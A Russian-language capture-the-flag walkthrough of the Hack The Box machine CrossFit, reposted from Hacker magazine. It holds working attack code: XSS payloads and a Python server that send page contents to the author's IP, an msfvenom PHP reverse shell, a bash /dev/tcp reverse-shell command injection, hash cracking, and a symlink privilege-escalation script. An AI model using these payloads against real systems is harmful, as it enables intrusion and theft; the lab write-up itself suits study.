JustPaste.it

Хакер - HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост

hacker_frei
ffada1791b29f9079ba3768d2bd57385.png

 

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Перебор каталогов
  • Точка входа
  • XSS
  • Шелл
  • Продвижение
  • Первый юзер
  • Второй юзер
  • Рут

В этой статье на при­мере «безум­ной» по уров­ню слож­ности машины CrossFit с пло­щад­ки Hack The Box я покажу, как искать XSS на недос­тупных стра­ницах сай­та, ска­ниро­вать домены через XSS, про­водить раз­ведку на машине с Linux, уда­лен­но исполнять код, исполь­зуя FTP, и экс­плу­ати­ровать инъ­екцию команд в поль­зователь­ском при­ложе­нии. А под конец нем­ного поревер­сим, что­бы най­ти финаль­ную уяз­вимость.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Ад­рес машины — 10.10.10.208, добав­ляем его в /etc/hosts для удобс­тва.

10.10.10.208 crossfit.htb

Ска­ниру­ем пор­ты. Я, как всег­да, исполь­зую неболь­шой скрипт, который запус­кает Nmap в два эта­па: быс­трое общее ска­ниро­вание и затем ска­ниро­вание со скрип­тами на обна­ружен­ных пор­тах.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

99d091c0577dea47649f207e1eb28e76.jpg
3c6711a76ea1ec619131690760e0a6a8.jpg

По резуль­татам ска­ниро­вания име­ем три откры­тых пор­та:

  • порт 21 — служ­ба FTP (обра­ти вни­мание на наличие сер­тифика­та);
  • порт 22 — служ­ба SSH;
  • порт 80 — веб‑сер­вер Apache.

На SSH нам ловить нечего, так как там мож­но раз­ве что брут­форсить учет­ные дан­ные, а это пос­леднее дело. Куда инте­рес­нее наличие сер­тифика­та у служ­бы FTP. Как учат все кур­сы раз­ведки, из сер­тифика­та мож­но получить инте­рес­ную информа­цию. У любого сер­тифика­та есть важ­ное поле Common Name — домен­ное имя сер­вера, для которо­го дей­стви­телен сер­тификат. В нашем слу­чае это gym-club.crossfit.htb.

c32d7135aed90e92e4fc6cfdae98418d.png

Най­ден­ное имя мы сра­зу добав­ляем в файл /etc/hosts.

10.10.10.208 gym-club.crossfit.htb

Перебор каталогов

Пе­рехо­дим к веб‑сер­веру. На 80-м пор­те по адре­су http://crossfit.htb нас встре­чает стар­товая стра­ница Apache. А вот по най­ден­ному в сер­тифика­те домену http://gym-club.crossfit.htb откры­вает­ся сайт тре­нажер­ного зала.

 

b96e8474c010d8f152de6bce80207582.png
31bf74efd2224cd38a4ed34ccd7b7815.jpg

Од­но из пер­вых дей­ствий при пен­тестин­ге веб‑при­ложе­ния — это ска­ниро­вание сай­та на наличие инте­рес­ных катало­гов и фай­лов. Я обыч­но беру для это­го ути­литу gobuster. При запус­ке исполь­зуем сле­дующие парамет­ры:

  • dir — ска­ниро­вание дирек­торий и фай­лов;
  • -k — не про­верять SSL-сер­тификат;
  • -t [] — количес­тво потоков;
  • -u [] — URL-адрес для ска­ниро­вания;
  • -x [] — инте­ресу­ющие рас­ширения фай­лов, перечис­ленные через запятую;
  • -w [] — сло­варь для перебо­ра;
  • --timeout [] — вре­мя ожи­дания отве­та.

gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s

c3088449044632718ef518019160f1e5.png

gobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s

b09f5fdc49ebf77d260e582906d24149.png

По резуль­татам ска­ниро­вания мож­но ска­зать, что http://crossfit.htb инте­реса боль­ше не пред­став­ляет. На http://gym-club.crossfit.htb есть инте­рес­ный каталог с вызыва­ющим наз­вани­ем security_threat. В нем — единс­твен­ный файл, при обра­щении к которо­му получа­ем сооб­щение, что дос­туп к информа­ции огра­ничен.

7294192f55748dba4e8a284de5f6a75c.png
cd55b6288bde417c4e5f486692820a1d.png

По­ка ничего сущес­твен­ного мы не наш­ли, но все же получи­ли допол­нитель­ную информа­цию.

ТОЧКА ВХОДА

При осмотре сай­та находим фор­му отправ­ки ком­мента­риев, которые могут быть под­верже­ны XSS. Вот толь­ко ответ мы не видим, поэто­му нуж­но выпол­нить отстук на свой хост. Для это­го откро­ем порт с помощью прос­того веб‑сер­вера на Python, что­бы мы мог­ли отлавли­вать все обра­щения.

sudo python3 -m http.server 80

И, ког­да все готово, отпра­вим наг­рузку, которая дол­жна заг­рузить уда­лен­ный скрипт на JS.

<script src="http://[локальный IP адрес]/></script>

fa2f145a2234ca112216c15d9e2f6e15.png

В качес­тве отве­та на такой ком­мента­рий получа­ем сооб­щение об обна­ружен­ной и заб­локиро­ван­ной ата­ке XSS!

8d52f996e1ac195923f625f2dd2e8597.png

Здесь ска­зано, что наш IP-адрес и информа­ция о бра­узе­ре будут пре­дос­тавле­ны адми­нис­тра­тору ресур­са. Прек­расно! Зна­чит, мы можем поп­робовать выпол­нить XSS, но уже для адми­нис­тра­тора.

На источник IP мы пов­лиять не можем, а вот информа­цию о бра­узе­ре сер­вис узна­ет из заголов­ка User-Agent про­токо­ла HTTP. Зна­чение это­го заголов­ка мы можем под­менить хоть в самом бра­узе­ре, хоть в спе­циаль­ных при­ложе­ниях вро­де Burp.

Сто­ит пом­нить, что сооб­щение будет дос­тавле­но толь­ко в слу­чае детек­та XSS. То есть нуж­но отпра­вить наг­рузку и в поле ком­мента­рия, и в заголов­ке User-Agent. Я открыл порт 8888 и заменил зна­чение заголов­ка при помощи Burp. Пос­ле отправ­ки зап­роса получа­ем отклик в логах нашего веб‑сер­вера.

14f1b730238d56704809a3504aeb2549.png
bee2fdda82529b2efb983745af7217e2.png

Это зна­чит, что мы можем выпол­нить заг­рузку уда­лен­ного скрип­та на JS и экс­плу­ати­ровать XSS.

XSS

Те­перь нуж­но опре­делить­ся с век­тором ата­ки. Пом­нишь стра­ницу с огра­ниче­нием дос­тупа? От име­ни адми­нис­тра­тора мы навер­няка смо­жем ее пос­мотреть, а XSS поможет нам в этом. Код стра­ницы мы получим, исполь­зуя методы open и send объ­екта XMLHttpRequest.

var xhr = new XMLHttpRequest();

xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.send();

Код зап­рошен­ной стра­ницы здесь сох­раня­ется в перемен­ной xhr.responseText, и его еще нуж­но передать на наш сер­вер, что­бы он отоб­разил­ся в логах. Зна­чение для сох­ранения целос­тнос­ти сна­чала закоди­руем в Base64, что­бы непеча­таемые сим­волы нам не помеша­ли. В качес­тве триг­гера для отправ­ки будем исполь­зовать метод onload объ­екта XMLHttpRequest. Пол­ный код выг­лядит сле­дующим обра­зом.

var xhr = new XMLHttpRequest();

xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.onload = function () {

var request = new XMLHttpRequest();

request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);

request.send();

};

xhr.send();

Сох­раня­ем его в файл (у меня evil.js) в дирек­тории запущен­ного веб‑сер­вера. Пос­ле чего пов­торя­ем зап­рос с извес­тной наг­рузкой в заголов­ке User-Agent, но уже ука­зыва­ем для заг­рузки скрип­та свой файл.

<script src="http://10.10.14.80:8888/evil.js"></script>

В логах веб‑сер­вера получа­ем информа­цию: сна­чала о заг­рузке скрип­та, а потом обра­щение к вымыш­ленной стра­нице. В качес­тве аргу­мен­та при­ходят дан­ные в кодиров­ке Base64, декоди­руем их.

c323fa498ff700f6b565165832db8821.png
5585ddec84e3954cee7c8e24611a97a9.jpg

К сожале­нию, ничего инте­рес­ного мы не получа­ем, так что в этом мес­те мне приш­лось креп­ко задумать­ся о том, как раз­вивать ата­ку даль­ше. В голову приш­ла идея про­верить дос­тупные с localhost вир­туаль­ные хос­ты. Ска­нер для это­го при­дет­ся реали­зовать самос­тоятель­но.

Идея сос­тоит в том, что мы будем про­воци­ровать уда­лен­ный хост сно­ва и сно­ва заг­ружать скрипт на JS с нашего локаль­ного сер­вера, но толь­ко каж­дый раз мы будем воз­вра­щать такой скрипт, который вмес­то стра­ницы http://gym-club.crossfit.htb/security_threat/report.php будет зап­рашивать кор­невую стра­ницу на раз­ных под­доменах http://[random].crossfit.htb.

Прог­рамми­ровать будем на питоне. Нам нуж­но про­верять код отве­та — если он равен 200, зна­чит, вир­туаль­ный хост сущес­тву­ет.

Сна­чала пишем стан­дар­тную «базу» для сер­вера.

#!/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer

import logging

import requests

def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):

server_address = ('', port)

httpd = server_class(server_address, handler_class)

request()

try:

httpd.serve_forever()

except KeyboardInterrupt:

pass

httpd.server_close()

if __name__ == '__main__':

run()

Что­бы избе­жать кеширо­вания фай­ла при мно­гок­ратном зап­росе, будем вес­ти счет­чик vhost_number и каж­дый раз менять имя фай­ла со скрип­том на JS. В качес­тве сло­варя исполь­зуем namelist.txt из набора SecLists.

global vhost_number

vhost_number = 0;

with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f:

global vhosts

vhosts = f.read().split('\n')[:-1]

Те­перь реали­зуем фун­кцию пер­воначаль­ной отправ­ки ком­мента­рия, которая будет отсы­лать наг­рузку.

def request():

headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}

data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}

requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)

В клас­се сер­вера обра­бота­ем GET-зап­рос. Если обра­щение про­исхо­дит к evil.js, то вер­нем скрипт, который будет выпол­нять обра­щение к тес­тиру­емо­му под­домену. Если такой под­домен сущес­тву­ет, то он будет передан в качес­тве парамет­ра в пов­торном зап­росе на наш сер­вер.

class EvilServer(BaseHTTPRequestHandler):

def _set_response(self):

self.send_response_only(200)

self.end_headers()

def do_GET(self):

global vhost_number

self._set_response()

if vhost_number < len(vhosts):

if self.path == '/evil'+str(vhost_number)+'.js':

self.wfile.write(eviljs().encode('utf-8'))

if 'vhost=' in self.path[:7]:

print("vhost found: " + self.path[7:])

request()

Ос­талось реали­зовать фун­кцию, которая будет воз­вра­щать JS.

def eviljs():

global vhost_number

jscode = """var xhr = new XMLHttpRequest();

xhr.open('GET', 'http://XXX.crossfit.htb/', true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.onload = function(){

var request = new XMLHttpRequest();

request.open('GET', 'http://10.10.14.80:8888/vhost=XXX', true);

request.send();

};

xhr.send();""".replace('XXX', vhosts[vhost_number])

print(str(vhost_number+1)+ "/" + str(len(vhosts)) + " " + vhosts[vhost_number] + " "*10, end="\r")

vhost_number += 1

return jscode

Важ­ные фун­кции я опи­сал, осталь­ной код при­водить не ста­ну — если будешь пов­торять про­хож­дение, ты без тру­да вос­создашь его.

Скрипт работа­ет мед­ленно, но дает резуль­тат!

4318e3a79354c6b3bae8330cc410efeb.png
b8e124f65fda7011f6338efbbf9020e6.png

Убе­див­шись, что скрипт работа­ет, я оста­новил его и внес изме­нения, которые обес­печат нам удобс­тво при работе. Пер­вым делом добав­ляем фун­кцию requestPage с изме­нен­ной наг­рузкой evil.js.

def requestPage():

headers = {'User-Agent':'<script src="http://10.10.14.80:8888/getpage.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}

data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}

requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)

Наг­рузка будет зап­рашивать уже извес­тный нам файл JS для прос­мотра стра­ниц.

def getpagejs(page="http://ftp.crossfit.htb/"):

return """var xhr = new XMLHttpRequest();

xhr.open('GET', '""" + page + """', true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.onload = function(){

var request = new XMLHttpRequest();

request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), true);

request.send();

};

xhr.send();"""

И будем вызывать ее в фун­кции run() вмес­то request().

def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):

server_address = ('', port)

httpd = server_class(server_address, handler_class)

requestPage()

try:

httpd.serve_forever()

except KeyboardInterrupt:

pass

httpd.server_close()

if __name__ == '__main__':

run()

Да­лее я добавил в метод do_GET() обра­бот­ку зап­росов getpage.js и page. Таким обра­зом Base64 будет декоди­ровать­ся, что­бы мы мог­ли видеть HTML пря­мо в бра­узе­ре (так гораз­до удоб­нее).

class EvilServer(BaseHTTPRequestHandler):

def _set_response(self):

self.send_response_only(200)

self.end_headers()

def do_GET(self):

global vhost_number

self._set_response()

if vhost_number < len(vhosts):

if self.path == '/evil'+str(vhost_number)+'.js':

self.wfile.write(eviljs().encode('utf-8'))

if 'vhost=' in self.path[:7]:

print("vhost found: " + self.path[7:])

if self.path == '/getpage.js':

self.wfile.write(getpagejs().encode('utf-8'))

if 'page=' in self.path[:6]:

print(base64.b64decode(self.path[6:]).decode())

with open("page.html", "w") as f:

f.write(base64.b64decode(self.path[6:]).decode())

os.system("firefox page.html")

Все готово, запус­каем. Пос­ле выпол­нения это­го «экс­пло­ита» получим окно с кодом стра­ницы и ее пред­став­ление в бра­узе­ре.

134d2ec8e971032710a8868941b900b3.png
c901377a5f54efb124683ac4132b39d5.jpg

Ка­жет­ся, эта стра­ница поз­воля­ет нам соз­дать поль­зовате­ля для служ­бы FTP. Давай перей­дем на вклад­ку Create New Account, для чего в коде изме­ним один адрес.

1c6fe2f86aa55a637144634c1c36587e.png
747c9988cc4e38e27fc71e4aba89527c.jpg

Из исходно­го кода мы получа­ем необ­ходимые парамет­ры, такие как username и password. Так­же узна­ем о том, что нуж­но получать токен, а это при­дет­ся делать тоже с помощью JS. Для выпол­нения этих опе­раций добавим новую фун­кцию createuser().

def createuser():

return """

var username='ralf'; var password='ralf';

var xhr = new XMLHttpRequest();

xhr.withCredentials = true;

xhr.open('GET', 'http://ftp.crossfit.htb/accounts/create', false);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.onreadystatechange = function(){

if(xhr.readyState){

var request = new XMLHttpRequest();

request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(xhr.responseText), false);

request.send();

}

};

xhr.send();

var r = /token" value="(.*)"/g

var token =r.exec(xhr.responseText)[1];

var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit';

xhr.open('POST', "http://ftp.crossfit.htb/accounts", false);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.send(params);"""

Эта фун­кция воз­вра­щает модифи­циро­ван­ный код на JS, который пер­вый раз зап­рашива­ет стра­ницу, что­бы получить токен, а вто­рой раз отправ­ляет запол­ненную фор­му, тем самым соз­давая нового поль­зовате­ля ralf с паролем ralf (в моем слу­чае). В методе to_GET изме­ним вызов getpagejs() на вызов новой фун­кции createuser(). Пос­ле выпол­нения скрип­та в окне бра­узе­ра наб­люда­ем све­жесоз­данно­го поль­зовате­ля.

12c004ee59a638e5d2e97a42e0ed7161.jpg

ШЕЛЛ

Пос­ле соз­дания поль­зовате­ля для служ­бы FTP поп­робу­ем авто­ризо­вать­ся на сер­вере. Пос­коль­ку там исполь­зует­ся SSL, будем исполь­зовать кли­ент lftp. При под­клю­чении необ­ходимо отклю­чить про­вер­ку сер­тифика­та.

set ssl:verify-certificate no

connect crossfit.htb

login ralf

e817b408a4626a31e4514d30403c483b.png

По име­нам катало­гов лег­ко опре­делить, что это дирек­тории веб‑сер­вера и соот­ветс­тву­ющих вир­туаль­ных хос­тов. Как пос­тупать в таких ситу­ациях, всем дав­но извес­тно — раз­местить свой шелл. В слу­чае с PHP мож­но лег­ко сге­нери­ровать его с помощью MSFvenom со сле­дующи­ми парамет­рами:

  • -p [] — исполь­зуемая наг­рузка (конеч­но, берем Meterpreter);
  • LHOST=[] — IP-адрес локаль­ного хос­та;
  • LPORT=[] — локаль­ный порт;
  • -f [] — фор­мат, в котором будет пред­став­лена наг­рузка.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.80 LPORT=4321 -f raw > r.php

cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

e25b872fc0826ae2b2671c316a180e9c.png

И запус­тим лис­тенер, который будет ждать обратно­го под­клю­чения от наг­рузки. Для быс­тро­го запус­ка из metasploit исполь­зуем коман­ду handler с парамет­рами, ука­зан­ными при соз­дании наг­рузки.

handler -p php/meterpreter_reverse_tcp -H 10.10.14.129 -P 4321

Ос­талось заг­рузить на FTP скрипт и обра­тить­ся к нему. Но во вре­мя реали­зации обна­ружи­вает­ся нюанс: единс­твен­ная дос­тупная для записи дирек­тория — development-test. Заг­ружа­ем скрипт в эту дирек­торию коман­дой put.

7da9959612889d6fdb25b19fd1d5d14d.png

Об­ращать­ся при­дет­ся к вновь най­ден­ной дирек­тории, поэто­му добавим в нашу прог­рамму еще одну фун­кцию. При этом в методе to_GET изме­ним createuser() на getshell(), где выпол­няет­ся зап­рос по новому домен­ному име­ни.

def getshell():

return """

var xhr = new XMLHttpRequest();

xhr.open('GET', 'http://development-test.crossfit.htb/r.php', false);

xhr.send()"""

Пос­ле запус­ка скрип­та получа­ем шелл, о чем сви­детель­ству­ет тер­минал Metasploit. Сра­зу же нуж­но про­верить, в кон­тек­сте какого поль­зовате­ля мы работа­ем. Для Meterpreter это коман­да getuid.

89bd731b78673d944ae4c2217b46a114.png

ПРОДВИЖЕНИЕ

Первый юзер

Воз­ника­ет воп­рос — что же делать пос­ле того, как получил шелл в сис­теме? Как най­ти путь, который при­ведет к повыше­нию при­виле­гий? На этот слу­чай сущес­тву­ют скрип­ты PEASS — они есть и для Windows, и для Linux. Ска­чива­ем скрипт для Linux, перехо­дим в Meterpreter и коман­дой upload заг­ружа­ем его на уда­лен­ный хост. Получив коман­дную обо­лоч­ку (коман­да shell), наз­нача­ем пра­ва на исполне­ние и выпол­няем.

9775e4e95f7314333a6529039f08ea2f.png

Пос­ле того как скрипт отра­бота­ет, у нас появ­ляет­ся новая труд­ная задача — выб­рать информа­цию, которая при­ведет к успешно­му прод­вижению. В дан­ном слу­чае отме­тим для себя поль­зовате­лей, име­ющих инте­рак­тивную обо­лоч­ку и два най­ден­ных хеша (скрипт прос­то опре­деля­ет спе­цифи­чес­кую струк­туру стро­ки).

87a383f4d50a38537b9f2c180e908bd1.png
abb53fa6d3fcda2a8367153ae76f1d23.png

Най­ден файл adduser_hank.yml — из наз­вания мож­но сде­лать вывод, что пред­став­ленный хеш — это резуль­тат хеширо­вания пароля поль­зовате­ля hank. С помощью зна­мени­того hashcat мож­но не толь­ко быс­тро ломать хеши и соз­давать пра­вила или спис­ки паролей, но и опре­делять тип хеша. В струк­туре хеша есть ред­кая пос­ледова­тель­ность $6$, которая и опре­деля­ет тип хеша, поэто­му узнать алго­ритм тру­да не сос­тавит.

hashcat --example | grep -A1 -B1 '\$6\$'

46413eee7c764341b26f16c7447b5b3b.png

Нам сооб­щают, что это SHA-512 и что, если мы хотим переби­рать его, нуж­но исполь­зовать код режима 1800. Так мы и пос­тупим, а в качес­тве сло­варя с пароля­ми исполь­зуем зна­мени­тый rockyou.

hashcat -a 0 -m 1800 hash.txt ./tools/rockyou.txt

cdc9a8b0355ced8446c25987d678fb05.png

Так как служ­ба SSH активна (не забыва­ем о резуль­татах ска­ниро­вания пор­тов), мы под­клю­чаем­ся с най­ден­ным паролем и получа­ем пер­вый флаг.

05da3c365dba76296ef7536606db147f.png

Второй юзер

Так как мы получи­ли кре­ды нового поль­зовате­ля, всю раз­ведку на хос­те нуж­но про­водить заново! У нас ведь теперь совер­шенно дру­гие при­виле­гии, и этот момент мно­гие упус­кают.

Сно­ва выпол­ним LinPEAS и отбе­рем наибо­лее важ­ную информа­цию. Что очень важ­но, мы получа­ем записи cron. К тому же поль­зователь при­сутс­тву­ет в груп­пе admin, что дает нам пра­во читать фай­лы из дирек­тории /etc/pam.d/.

7581b862c8116b339b29d0c7843d0541.png
45fb8345f56ac4af6b771a61c6f56a7d.jpg

Служ­ба cron поз­воля­ет запус­кать прог­раммы на сер­вере в опре­делен­ное вре­мя. В дан­ном слу­чае — от име­ни поль­зовате­ля isaac выпол­няет­ся скрипт на PHP. Конеч­но же, сра­зу смот­рим код внут­ри фай­ла.

817ec69a5742180c3101ed6910f75ae4.jpg

В этом скрип­те про­исхо­дит перечис­ление фай­лов и дирек­тории сооб­щений ($msg_dir). Если файл обна­ружен (isFile()), то дела­ется зап­рос к базе дан­ных ($conn->query) для получе­ния зна­чений стол­бца email из таб­лицы users. Каж­дая воз­вра­щен­ная стро­ка (адрес элек­трон­ной поч­ты) будет переда­на в качес­тве аргу­мен­та ути­лите mail. В самом кон­це от име­ни поль­зовате­ля isaac выпол­няет­ся вот такая коман­да:

/usr/bin/mail -s 'Crossfit Club Newsletter' [адрес электронной почты]

Так как коман­да выпол­няет­ся в сис­теме, а вход­ными дан­ными мож­но манипу­лиро­вать, то на ум при­ходит инъ­екция команд (command injection). Если мы смо­жем раз­местить любой файл в дирек­тории с сооб­щени­ями, то про­изой­дет зап­рос к БД. Так­же нуж­но будет под­клю­чить­ся к базе дан­ных и соз­дать запись, что поз­волит манипу­лиро­вать парамет­ром коман­ды mail.

Под­ста­вим в коман­ду выше вот такую наг­рузку:

-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')

Пол­ная коман­да ста­нет такой:

/usr/bin/mail -s 'Crossfit Club Newsletter' -E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')

Сна­чала будет выпол­нен код внут­ри конс­трук­ции $(...), что при­ведет к выпол­нению реверс‑шел­ла. Но мы стал­кива­емся с рядом проб­лем: как под­клю­чать­ся к базе дан­ных и что за дирек­тория с сооб­щени­ями.

Для под­клю­чения к базе дан­ных нуж­ны учет­ные дан­ные. Но к под­клю­чаемо­му фай­лу db.php дос­тупа у нас нет. Най­дем в дирек­тории веб‑сер­вера на FTP подоб­ный файл и поп­робу­ем получить учет­ные дан­ные из него.

be10919f0472c9c371a31b03a2fce23a.png

Од­на проб­лема решена. Даль­ше нуж­но вспом­нить о пра­ве на чте­ние фай­лов, рас­положен­ных в катало­ге /etc/pam.d. PAM — это набор под­клю­чаемых модулей, которые отве­чают за аутен­тифика­цию в сис­теме. По сути, это API, который опе­раци­онная сис­тема или при­ложе­ния могут исполь­зовать, что­бы отпра­вить зап­росы на про­вер­ку под­линнос­ти поль­зовате­ля. А фай­лы нас­тро­ек содер­жатся имен­но в этой дирек­тории.

Быс­трень­ко ищем по клю­чевым сло­вам и находим учет­ные дан­ные адми­нис­тра­тора FTP. Сле­дующей коман­дой мы из всех фай­лов в дирек­тории выбира­ем стро­ки, в которых содер­жится хоть одна из подс­трок: paspwdsecr или key, а так­же исклю­чаем все заком­менти­рован­ные стро­ки (-v '#').

cat * | grep "pas\|pwd\|secr\|key" | grep -v '#'

291db793aa1cd10609818a59f9d56061.jpg

Под­клю­чим­ся к FTP от име­ни адми­на и най­дем дирек­торию messages.

lftp

set ssl:verify-certificate no

lftp :~> connect crossfit.htb

lftp crossfit.htb:~> login ftpadm

ff3567845e0f6078a70361a6696a379c.png

Вы­ходит, у нас есть и воз­можность манипу­лиро­вать дан­ными и в базе, и в дирек­тории сооб­щений. Запус­тим MySQL и пос­мотрим, какие есть базы дан­ных.

mysql -u crossfit -poeLoo~y2baeni

93f7dd37ad027c3118d69ece11095700.png

Бу­дем исполь­зовать поль­зователь­скую базу crossfit, так как information_schema — слу­жеб­ная. В crossfit и най­дем таб­лицу users.

40f6c3d783250fec5ca3f05c217b3b04.png

Все схо­дит­ся, поэто­му, как и пла­ниро­вали:

  1. От­кро­ем лис­тенер.
  2. rlwrap nc -lvp 4321
  3. Заг­рузим в дирек­торию сооб­щений лю­бой файл.
36fdf6f72c082c15afa2a73d6f0fd9f5.png
  1. Пи­шем в таб­лицу:
  2. insert into users (id, email) values (9001, "- E $(bash -c 'bash -i >& /dev/tcp/10.10.14.17/4321 0>&1')");
bfa441e6f9723012c20fe888dd0a17c6.png

Спус­тя нес­коль­ко секунд коман­да выпол­нится и мы получим бэк­коннект.

f09883a82ebd0c8ab2b1648dacc1f6a5.png

Для удобс­тва работы сге­нери­руем ключ SSH коман­дой ssh-keygen и запишем сге­нери­рован­ный пуб­личный ключ поль­зовате­лю в файл ~/.shh/authorized_keys.

be6e45f6035a98b5ce49218c0ef635b3.png

Те­перь можем заходить по SSH с исполь­зовани­ем зак­рытого клю­ча.

6bde2459ea5fcb9a5270c694c05af566.png

РУТ

В этот раз исполь­зование LinPEAS ничего инте­рес­ного не показы­вает, поэто­му пос­мотрим, есть ли пери­оди­чес­ки запус­каемые в сис­теме про­цес­сы, с помощью pspy64. Прос­той запуск pspy ничего не дал, поэто­му я запус­тил его с парамет­ром -f, что­бы отлавли­вать события фай­ловой сис­темы.

pspy64 -f

Вы­вод получил­ся очень объ­емный, поэто­му я сох­ранил его в файл и решил нем­ного отфиль­тро­вать. Уби­раем из лога все упо­мина­ния /etc/, пос­коль­ку нас не инте­ресу­ют сооб­щения об обра­щении к фай­лам passwdshadow и тому подоб­ным. Так­же нас не инте­ресу­ют фай­лы PHP, так как с этим уже работа­ли и тут ничего нового нет. Мож­но пос­мотреть толь­ко события, свя­зан­ные с дирек­тори­ей var, но там нет ничего инте­рес­ного, поэто­му ее тоже исклю­чаем из вывода. Коман­да wc -l покажет количес­тво передан­ных строк.

af77795c501ec18491bf4e15c87e2a9e.png

Те­перь события будет прос­мотреть удоб­ней. Из обще­го фона исполь­зования биб­лиотек замеча­ем ути­литу dbmsg, которая запус­кает­ся раз в минуту.

2ad8b1f56da1e2c16249497cf15cbc2b.png
ecd8cf6de3f49f2001fd5a0f5bb7198f.png

Заг­ружа­ем бинар­ник на локаль­ную машину с помощью коман­ды scp и откры­ваем в любом деком­пилято­ре. Я исполь­зовал Hex-rays IDA Pro.

scp -i id_rsa isaac@crossfit.htb:/usr/bin/dbmsg ./

В деком­пилято­ре перехо­дим к фун­кции main(). Пос­ле стар­та прог­раммы сра­зу про­веря­ются при­виле­гии поль­зовате­ля (дол­жен быть root) и генера­тор псев­дослу­чай­ных чисел ини­циали­зиру­ется текущим вре­менем.

2402a067838ce0bc6daf3cab5e4aae4c.png

В фун­кции process_data() про­исхо­дит под­клю­чение к базе дан­ных и счи­тыва­ние дан­ных из таб­лицы messages.

25b24052bf051f36a66731a2a7dda0e6.png

Да­лее прог­рамма чита­ет стро­ки таб­лицы и про­веря­ет стол­бцы (id, name, email, messages). Пос­ле чего в дирек­тории /var/local/ соз­дает файл с име­нем md5(rand() + id), куда записы­вает зна­чения name, messages и email (имен­но в этом поряд­ке). Затем выпол­няет­ся zip, пос­ле чего файл уда­ляет­ся.

1bb3d3a22580844faf3594627cda2da7.png

Тут‑то и наметил­ся сле­дующий век­тор ата­ки: мы можем рас­счи­тывать исполь­зуемые псев­дослу­чай­ные чис­ла, а зна­чит, и узнать имя фай­ла; к тому же мы можем кон­тро­лиро­вать его содер­жимое, соз­давая записи в базе дан­ных. Учи­тывая, что опе­рации выпол­няют­ся от име­ни root, мы можем соз­дать ссыл­ку с таким име­нем, и она будет ука­зывать на файл authorized_keys. Оста­нет­ся лишь записать в него SSH-ключ! Что ж, за дело!

Сна­чала сге­нери­руем клю­чи. Что­бы сэконо­мить мес­то, исполь­зуем ed25519.

89efee2ca2925e40d1530b5d1bf9909d.png

Те­перь напишем прог­рамму, которая будет генери­ровать и выводить псев­дослу­чай­ное чис­ло в зависи­мос­ти от текуще­го вре­мени.

#include <stdio.h>

#include <stdlib.h>

#include <time.h>

int main(){

srand(time(0));

printf("%d", rand());

return 0;

}

А затем ком­пилиру­ем этот код с помощью gcc.

gcc rand_int.c -o rand_int.bin

Те­перь нуж­но заг­рузить бинарь на хост, пос­ле чего написать кон­вей­ер для получе­ния име­ни фай­ла. Так как мы будем соз­давать сооб­щение заново, то id всег­да равен еди­нице.

25734b2128b170ef84e7f8e4163d858c.png

Так как запись не про­сущес­тву­ет в базе дол­го, будем про­изво­дить запись сооб­щения с клю­чом и лин­ковку фай­ла одним скрип­том:

#/bin/bash

mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email,message) values (1, "ssh-ed25519","ralf@ralf-PC","AAAAC3N.....Pt0xQdJ");'

while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./rand_int.bin)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done

Вы­пол­няем скрипт и под­клю­чаем по SSH c при­ват­ным клю­чом.

722eb12312caf8583c54cb11a8fc41d0.png
3bc562728ff653197f4f8de1630fdd54.png

Вот мы и зах­ватили машину CrossFit! Теперь мы име­ем над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei